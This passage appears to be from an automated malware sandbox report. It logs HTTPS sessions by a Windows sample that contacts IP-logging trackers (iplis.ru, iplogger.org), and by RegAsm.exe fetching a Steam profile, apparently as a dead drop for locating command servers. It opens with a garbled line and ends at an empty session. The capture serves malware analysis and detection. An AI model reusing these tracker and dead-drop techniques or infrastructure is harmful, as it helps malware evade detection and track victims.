'^z/0n5nI3)+,e0U*bssCF_PkEu~t7+3e?h77N'/0o]BZF}MSDzov}I/$TbiQo~\`6-`\I<))/#$Lf@jr}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49807	172.67.147.32	443	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:23 UTC	193	OUT	GET /1aFYp7.mp3 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: iplis.ru
2024-05-24 11:42:23 UTC	1133	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:23 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close memory: 0.4219970703125 expires: Fri, 24 May 2024 11:42:23 +0000 Cache-Control: no-store, no-cache, must-revalidate strict-transport-security: max-age=604800 strict-transport-security: max-age=31536000 content-security-policy: img-src https: data:; upgrade-insecure-requests x-frame-options: SAMEORIGIN CF-Cache-Status: BYPASS Set-Cookie: 29392510137264047=2; expires=Sat, 24 May 2025 11:42:23 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Set-Cookie: clhf03028ja=8.46.123.175; expires=Sat, 24 May 2025 11:42:23 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oxkutiDSaE52Kbw8qpn7yycNGgR%2FSpFpd10xyly2jh5kqm44AE%2BPMwgXKggaE4ZIJTIbMw1JvxF8k4VEEif0E%2FNL9giggIpU9QAPUGwEEVHzuxPuhORhA0jyxg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d05a4afda42bb-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:42:23 UTC	122	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`
2024-05-24 11:42:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49809	23.67.133.187	443	7204	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:24 UTC	119	OUT	GET /profiles/76561199689717899 HTTP/1.1 Host: steamcommunity.com Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 11:42:24 UTC	1882	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Fri, 24 May 2024 11:42:24 GMT Content-Length: 35682 Connection: close Set-Cookie: sessionid=dae9a062714694f1c568e5a4; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C493458b59285f9aa948bf050e0c9a39b; Path=/; Secure; HttpOnly; SameSite=None
2024-05-24 11:42:24 UTC	14502	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-05-24 11:42:24 UTC	10074	IN	Data Raw: 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 64 69 73 63 75 73 73 69 6f 6e 73 2f 22 3e 0d 0a 09 09 09 09 09 09 09 44 69 73 63 75 73 73 69 6f 6e 73 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 77 6f 72 6b 73 68 6f 70 2f 22 3e 0d 0a 09 09 09 09 09 09 09 57 6f 72 6b 73 68 6f 70 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 Data Ascii: lass="submenuitem" href="https://steamcommunity.com/discussions/">Discussions</a><a class="submenuitem" href="https://steamcommunity.com/workshop/">Workshop</a><a class="sub
2024-05-24 11:42:24 UTC	11106	IN	Data Raw: 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 46 52 4f 4d 5f 57 45 42 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 57 45 42 53 49 54 45 5f 49 44 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 43 6f 6d 6d 75 6e 69 74 79 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 42 41 53 45 5f 55 52 4c 5f 53 48 41 52 45 44 5f 43 44 4e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 73 68 61 72 65 64 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4c 41 4e 5f 43 44 4e 5f 41 53 53 45 54 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 6c 61 6e 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c Data Ascii: ","FROM_WEB":true,"WEBSITE_ID":"Community","BASE_URL_SHARED_CDN":"https:\/\/shared.cloudflare.steamstatic.com\/","CLAN_CDN_ASSET_URL":"https:\/\/clan.cloudflare.steamstatic.com\/",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49812	172.67.132.113	443	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:24 UTC	196	OUT	GET /1nhuM4.js HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: iplogger.org
2024-05-24 11:42:24 UTC	1280	IN	HTTP/1.1 403 Forbidden Date: Fri, 24 May 2024 11:42:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 15832 Connection: close Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Critical-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Content-Options: nosniff X-Frame-Options: SAMEORIGIN cf-mitigated: challenge
2024-05-24 11:42:24 UTC	713	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 3a 20 66 53 73 67 6f 71 4c 72 7a 64 41 6c 53 79 4e 61 49 58 63 68 37 45 6f 73 62 7a 47 74 47 31 57 67 4b 77 61 51 52 2b 6a 6f 71 7a 79 4d 70 4c 33 41 46 4c 73 71 69 46 56 52 46 65 64 4d 50 64 33 2f 41 68 50 6d 74 41 79 7a 69 49 59 39 30 74 4f 75 6f 4e 62 63 75 7a 58 79 69 54 5a 5a 59 38 52 47 6d 74 31 6b 31 41 69 39 61 39 59 52 46 6c 44 55 6e 55 6d 71 53 4b 77 74 38 33 70 4b 54 55 43 53 24 54 62 66 6f 77 63 6f 63 6b 79 52 65 63 65 53 72 42 59 30 71 35 41 3d 3d 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 70 6f 73 74 2d 63 68 65 63 6b 3d 30 2c 20 70 72 Data Ascii: cf-chl-out: fSsgoqLrzdAlSyNaIXch7EosbzGtG1WgKwaQR+joqzyMpL3AFLsqiFVRFedMPd3/AhPmtAyziIY90tOuoNbcuzXyiTZZY8RGmt1k1Ai9a9YRFlDUnUmqSKwt83pKTUCS$TbfowcockyReceSrBY0q5A==Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pr
2024-05-24 11:42:24 UTC	745	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 Data Ascii: <!DOCTYPE html><html lang="en-US"><head><title>Just a moment...</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><meta name="robots" content="noindex,nofollow"><meta name="viewp
2024-05-24 11:42:24 UTC	1369	IN	Data Raw: 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 62 6f 64 79 20 2e 6c 64 73 2d 72 69 6e 67 20 64 69 76 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 39 39 39 20 74 72 61 6e 73 70 61 72 65 6e 74 20 74 72 61 6e 73 70 61 72 65 6e 74 7d 62 6f 64 79 20 2e 66 6f 6e 74 2d 72 65 64 7b 63 6f 6c 6f 72 3a 23 62 32 30 66 30 33 7d 62 6f 64 79 20 2e 70 6f 77 2d 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 36 39 33 66 66 3b 63 6f 6c 6f 72 3a 23 31 64 31 64 31 64 7d 62 6f 64 79 20 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 64 61 74 61 3a 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 3b 62 61 73 65 36 34 2c 50 48 4e 32 5a 79 42 34 62 57 78 75 63 7a 30 69 61 48 52 Data Ascii: ion:underline}body .lds-ring div{border-color:#999 transparent transparent}body .font-red{color:#b20f03}body .pow-button{background-color:#4693ff;color:#1d1d1d}body #challenge-success-text{background-image:url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR
2024-05-24 11:42:24 UTC	1369	IN	Data Raw: 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 62 6f 64 79 2e 6e 6f 2d 6a 73 20 2e 63 68 61 6c 6c 65 6e 67 65 2d 72 75 6e 6e 69 6e 67 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 62 6f 64 79 2e 64 61 72 6b 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 32 32 32 3b 63 6f 6c 6f 72 3a 23 64 39 64 39 64 39 7d 62 6f 64 79 2e 64 61 72 6b 20 61 7b 63 6f 6c 6f 72 3a 23 66 66 66 7d 62 6f 64 79 2e 64 61 72 6b 20 61 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 65 65 37 33 30 61 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 62 6f 64 79 2e 64 61 72 6b 20 2e 6c 64 73 2d 72 69 6e 67 20 64 69 76 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 39 39 39 20 74 72 61 6e 73 70 61 72 65 6e 74 20 74 72 61 6e 73 70 61 72 65 6e 74 7d 62 6f 64 79 2e 64 Data Ascii: ility:hidden}body.no-js .challenge-running{display:none}body.dark{background-color:#222;color:#d9d9d9}body.dark a{color:#fff}body.dark a:hover{color:#ee730a;text-decoration:underline}body.dark .lds-ring div{border-color:#999 transparent transparent}body.d
2024-05-24 11:42:24 UTC	1369	IN	Data Raw: 74 4d 53 34 77 4e 54 59 74 4c 6a 4d 34 4f 53 30 75 4d 7a 6b 34 4c 53 34 7a 4f 44 6b 74 4c 6a 4d 35 4f 43 30 75 4f 54 67 30 49 44 41 74 4c 6a 55 35 4e 79 34 7a 4f 54 67 74 4c 6a 6b 34 4e 53 34 30 4d 44 59 74 4c 6a 4d 35 4e 79 41 78 4c 6a 41 31 4e 69 30 75 4d 7a 6b 33 49 69 38 2b 50 43 39 7a 64 6d 63 2b 29 7d 62 6f 64 79 2e 6c 69 67 68 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 63 6f 6c 6f 72 3a 23 33 31 33 31 33 31 7d 62 6f 64 79 2e 6c 69 67 68 74 20 61 7b 63 6f 6c 6f 72 3a 23 30 30 35 31 63 33 7d 62 6f 64 79 2e 6c 69 67 68 74 20 61 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 65 65 37 33 30 61 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 62 6f 64 79 2e 6c 69 67 68 74 20 2e Data Ascii: tMS4wNTYtLjM4OS0uMzk4LS4zODktLjM5OC0uOTg0IDAtLjU5Ny4zOTgtLjk4NS40MDYtLjM5NyAxLjA1Ni0uMzk3Ii8+PC9zdmc+)}body.light{background-color:transparent;color:#313131}body.light a{color:#0051c3}body.light a:hover{color:#ee730a;text-decoration:underline}body.light .
2024-05-24 11:42:24 UTC	1369	IN	Data Raw: 53 34 77 4e 54 63 75 4d 7a 67 34 4c 6a 51 77 4e 79 34 7a 4f 44 6b 75 4e 44 41 33 4c 6a 6b 35 4e 43 41 77 49 43 34 31 4f 54 59 74 4c 6a 51 77 4e 79 34 35 4f 44 51 74 4c 6a 4d 35 4e 79 34 7a 4f 53 30 78 4c 6a 41 31 4e 79 34 7a 4f 44 6b 74 4c 6a 59 31 49 44 41 74 4d 53 34 77 4e 54 59 74 4c 6a 4d 34 4f 53 30 75 4d 7a 6b 34 4c 53 34 7a 4f 44 6b 74 4c 6a 4d 35 4f 43 30 75 4f 54 67 30 49 44 41 74 4c 6a 55 35 4e 79 34 7a 4f 54 67 74 4c 6a 6b 34 4e 53 34 30 4d 44 59 74 4c 6a 4d 35 4e 79 41 78 4c 6a 41 31 4e 69 30 75 4d 7a 6b 33 49 69 38 2b 50 43 39 7a 64 6d 63 2b 29 7d 61 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 63 6f 6c 6f 72 3a 23 30 30 35 31 63 33 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b Data Ascii: S4wNTcuMzg4LjQwNy4zODkuNDA3Ljk5NCAwIC41OTYtLjQwNy45ODQtLjM5Ny4zOS0xLjA1Ny4zODktLjY1IDAtMS4wNTYtLjM4OS0uMzk4LS4zODktLjM5OC0uOTg0IDAtLjU5Ny4zOTgtLjk4NS40MDYtLjM5NyAxLjA1Ni0uMzk3Ii8+PC9zdmc+)}a{background-color:transparent;color:#0051c3;text-decoration:none;
2024-05-24 11:42:24 UTC	1369	IN	Data Raw: 43 41 78 49 44 45 67 4d 54 45 74 4d 54 45 67 4d 54 45 75 4d 44 45 67 4d 54 45 75 4d 44 45 67 4d 43 41 77 49 44 45 74 4d 54 45 67 4d 54 45 69 4c 7a 34 38 63 47 46 30 61 43 42 6d 61 57 78 73 50 53 49 6a 5a 6d 4d 31 4e 7a 52 68 49 69 42 6b 50 53 4a 4e 4d 54 63 75 4d 44 4d 34 49 44 45 34 4c 6a 59 78 4e 55 67 78 4e 43 34 34 4e 30 77 78 4e 43 34 31 4e 6a 4d 67 4f 53 34 31 61 44 49 75 4e 7a 67 7a 65 6d 30 74 4d 53 34 77 4f 44 51 67 4d 53 34 30 4d 6a 64 78 4c 6a 59 32 49 44 41 67 4d 53 34 77 4e 54 63 75 4d 7a 67 34 4c 6a 51 77 4e 79 34 7a 4f 44 6b 75 4e 44 41 33 4c 6a 6b 35 4e 43 41 77 49 43 34 31 4f 54 59 74 4c 6a 51 77 4e 79 34 35 4f 44 51 74 4c 6a 4d 35 4e 79 34 7a 4f 53 30 78 4c 6a 41 31 4e 79 34 7a 4f 44 6b 74 4c 6a 59 31 49 44 41 74 4d 53 34 77 4e 54 59 74 Data Ascii: CAxIDEgMTEtMTEgMTEuMDEgMTEuMDEgMCAwIDEtMTEgMTEiLz48cGF0aCBmaWxsPSIjZmM1NzRhIiBkPSJNMTcuMDM4IDE4LjYxNUgxNC44N0wxNC41NjMgOS41aDIuNzgzem0tMS4wODQgMS40MjdxLjY2IDAgMS4wNTcuMzg4LjQwNy4zODkuNDA3Ljk5NCAwIC41OTYtLjQwNy45ODQtLjM5Ny4zOS0xLjA1Ny4zODktLjY1IDAtMS4wNTYt
2024-05-24 11:42:24 UTC	1369	IN	Data Raw: 6f 74 65 72 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 35 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 31 32 35 72 65 6d 3b 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 3b 6d 61 78 2d 77 69 64 74 68 3a 36 30 72 65 6d 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 66 6f 6f 74 65 72 2d 69 6e 6e 65 72 7b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 64 39 64 39 64 39 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 72 65 6d 7d 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 7b 63 6c 65 61 72 3a 62 6f 74 68 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 7d 2e 63 6c 65 61 72 66 69 78 20 2e 63 6f 6c 75 6d 6e 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 70 61 64 64 69 6e 67 2d 72 69 Data Ascii: oter{font-size:.75rem;line-height:1.125rem;margin:0 auto;max-width:60rem;width:100%}.footer-inner{border-top:1px solid #d9d9d9;padding-bottom:1rem;padding-top:1rem}.clearfix:after{clear:both;content:"";display:table}.clearfix .column{float:left;padding-ri
2024-05-24 11:42:24 UTC	1369	IN	Data Raw: 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 6e 6f 6e 65 29 7b 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 7d 2e 72 74 6c 20 2e 68 65 61 64 69 6e 67 2d 66 61 76 69 63 6f 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 35 72 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 34 32 70 78 7d 2e 72 74 6c 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 31 30 30 Data Ascii: nd (-ms-high-contrast:none){.main-wrapper,body{display:block}}.rtl .heading-favicon{margin-left:.5rem;margin-right:0}.rtl #challenge-success-text{background-position:100%;padding-left:0;padding-right:42px}.rtl #challenge-error-text{background-position:100
2024-05-24 11:42:24 UTC	1369	IN	Data Raw: 76 44 43 71 42 65 76 64 4a 38 58 45 79 49 63 50 43 61 37 53 53 66 47 6d 54 6b 42 79 71 73 38 33 6e 52 30 48 45 74 50 6e 56 43 47 34 6a 64 59 35 74 76 66 4e 73 4d 73 54 58 53 50 43 4f 64 54 75 66 68 2e 53 41 6c 79 54 6c 50 6a 78 32 47 37 75 61 62 49 41 47 7a 6f 69 45 6a 63 4a 33 72 75 41 49 43 67 56 72 74 51 6e 6e 44 68 72 75 37 79 38 6c 6a 71 6f 58 7a 6b 35 6f 6a 4f 6f 42 53 39 4d 37 6b 45 74 5f 64 4b 78 37 38 30 6b 4f 6e 30 5f 4a 45 4d 6a 54 4c 46 6c 63 69 57 48 49 75 6e 71 7a 36 5a 4c 41 66 58 71 39 62 49 6d 54 7a 4d 67 56 4c 75 48 42 50 57 5a 48 56 6f 70 4f 33 33 46 4b 30 50 30 2e 65 69 66 58 6d 59 70 5a 55 30 65 6e 67 39 54 2e 51 49 5a 7a 69 35 6e 51 67 77 47 6b 4a 5f 53 4c 39 67 73 6f 4f 56 5a 44 55 6b 4d 4d 62 4a 70 77 6b 4d 6c 4d 74 31 34 68 4b 38 Data Ascii: vDCqBevdJ8XEyIcPCa7SSfGmTkByqs83nR0HEtPnVCG4jdY5tvfNsMsTXSPCOdTufh.SAlyTlPjx2G7uabIAGzoiEjcJ3ruAICgVrtQnnDhru7y8ljqoXzk5ojOoBS9M7kEt_dKx780kOn0_JEMjTLFlciWHIunqz6ZLAfXq9bImTzMgVLuHBPWZHVopO33FK0P0.eifXmYpZU0eng9T.QIZzi5nQgwGkJ_SL9gsoOVZDUkMMbJpwkMlMt14hK8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49816	172.67.147.32	443	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:25 UTC	193	OUT	GET /1pRXr7.txt HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: iplis.ru
2024-05-24 11:42:25 UTC	1150	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:25 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close set-cookie: 27631311137264047=2; expires=Sat, 24 May 2025 11:42:25 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict set-cookie: clhf03028ja=8.46.123.175; expires=Sat, 24 May 2025 11:42:25 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict memory: 0.41307830810546875 expires: Fri, 24 May 2024 11:42:25 +0000 Cache-Control: no-store, no-cache, must-revalidate strict-transport-security: max-age=604800 strict-transport-security: max-age=31536000 content-security-policy: img-src https: data:; upgrade-insecure-requests x-frame-options: SAMEORIGIN CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=380LeTmo%2FhMe5V6rZllV0tZtYXctPMvDKgJ%2B1pL8v2q4HckpXwrYko3zPxoZ%2FbcvZcBEkbUMUN%2FBlqzxYCa9kvdX%2ByBnUmt%2Fp%2BXWJ%2BvL8Dxn0Q7LfYG%2BQxEU9w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d05affd9872c2-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:42:25 UTC	122	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`
2024-05-24 11:42:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49815	188.114.97.3	443	7408	C:\Users\user\Documents\SimpleAdobe\B0191BYWi2sm3auk5jNzPdQw.exe

Timestamp	Bytes transferred	Direction	Data
